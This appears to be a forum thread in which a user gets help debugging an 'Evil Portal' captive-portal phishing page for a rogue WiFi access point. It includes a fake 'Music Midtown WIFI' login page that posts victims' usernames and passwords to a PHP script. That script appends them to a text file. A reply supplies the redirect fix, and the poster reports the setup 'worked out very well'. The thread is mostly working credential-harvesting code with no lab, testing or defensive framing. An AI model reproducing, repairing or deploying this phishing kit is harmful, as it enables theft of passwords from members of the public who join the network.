Jump to content

Evil Portal-HELP with Portal code,plz.


bytedeez
 Share

Recommended Posts

Hi ALL,

I am having trouble getting my code to redirect to target website once summit button is pressed and also I can not get it to store text from user. I have tried a few different post on here and still can't solve my problem.

note: splash.html below is stored in /etc/nodogsplash/htdocs and capture.php in /www

<html>
<head>
<img src="$imagesdir/background.png" style="position: absolute; top: 0px; left: 0px" width="1300" height="950" />
  <title>$gatewayname Entry</title>
  <meta HTTP-EQUIV="Pragma" CONTENT="no-cache">
 
  <script type="text/javascript">
    function ajaxRequest() {
      if (window.XMLHttpRequest)  {
        return new XMLHttpRequest();
      } else if (window.ActiveXObject) {
        return new ActiveXObject("Microsoft.XMLHTTP");
      } else {
        return false;
redirectToTarget() {
  window.location = $authtarget;
}
      }
    }
 
    function sendInfo() {
      var xmlhttp = new ajaxRequest();
      document.getElementById("results").innerHTML="<p><i>Thank you!</i></p>";
      var usernamevalue=encodeURIComponent(document.getElementById("username").value)
      var passwordvalue=encodeURIComponent(document.getElementById("password").value)
      var parameters="username="+usernamevalue+"&password="+passwordvalue
      xmlhttp.open("POST", "http://172.16.42.1:8080/capture.php", true)
      xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
      xmlhttp.send(parameters)
    }
  </script>
 
</head>
<body bgcolor="#DDDDDD" text="#000000">
 
<div id="results"><p><i>Enter your username and password below.</i></p></div>

<form id="pish" method="POST" action="http://172.16.42.1:8080/capture.php" style="position: absolute; top:700px; left: 800px" width="1300" height="1000">
  <b>Username</b><input type="text" name="username" id="username"><br />
  <b>Password</b><input type="password" name="password" id="password"><br />
  <button type="button" onclick="sendInfo();return false;redirectToTarget()">Submit Info</button>


</form>
</body>
</html>

and my capture.php

<?php

$username = $_POST["username"];
$password = $_POST["password"];

$file = fopen("stored.txt", "a");
fwrite($file, $username . " " . $password . "\n");
fclose($file);

echo 'Thank you for supplying your password!';

?>
Edited by damavox
Link to comment
Share on other sites

changed it to look like this but still no go

<html>
<img src="$imagesdir/background.png" style="position: absolute; top: 0px; left: 0px" width="1300" height="950" />
<head>

  <title>Music Midtown WIFI Entry</title>
  <meta HTTP-EQUIV="Pragma" CONTENT="no-cache">
 
  <script type="text/javascript">
    function ajaxRequest() {
      if (window.XMLHttpRequest)  {
        return new XMLHttpRequest();
      } else if (window.ActiveXObject) {
        return new ActiveXObject("Microsoft.XMLHTTP");
      } else {
        return false;
redirectToTarget() {
  window.location ="http://172.16.42.1/capture.php?text=" + "&redir= $authtarget";
}
      }
    }
 
    function sendInfo() {
      var xmlhttp = new ajaxRequest();
      document.getElementById("results").innerHTML="<p><i>Thank you!</i></p>";
      var usernamevalue=encodeURIComponent(document.getElementById("username").value)
      var passwordvalue=encodeURIComponent(document.getElementById("password").value)
      var parameters="username="+usernamevalue+"&password="+passwordvalue
      xmlhttp.open("POST", "http://172.16.42.1/capture.php", true)
      xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
      xmlhttp.send(parameters)
    }
  </script>
 
</head>
<body bgcolor="#DDDDDD" text="#000000">
 


<form id="pish" method="POST" action="http://172.16.42.1/capture.php" style="position: absolute; top:700px; left: 800px" width="1300" height="1000">
  <b>Username</b><input type="text" name="username" id="username"><br />
  <b>Password</b><input type="password" name="password" id="password"><br />
  <button type="button" onclick="sendInfo();return false;redirectToTarget()">SIGN IN!!</button>


</form>
</body>

got it working, now if someone could tell me how to conduct a 302 redirect in order to automatically trigger browser

Edited by damavox
Link to comment
Share on other sites

  • 1 month later...

bytedeez,

Look at my post on Evil Portal - Captive Portal. You should be able to get all of this to work pretty easily and it should redirect automatically after you log the credentials if you use

window.location.href = "$authtarget";

Also, why are you going through the hassle of creating an AJAX call with vanilla JavaScript? You would be able to clean up your code a lot if you use the JQuery function.

Link to comment
Share on other sites

it was some code published from the mark 4 i had in stock, but never used.

Instead of wasting time rewriting it or simplifying i just need it to run. (because of time restrictions).

I was actually able to get it running, and it worked out very well!

Thanks for your help though!

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...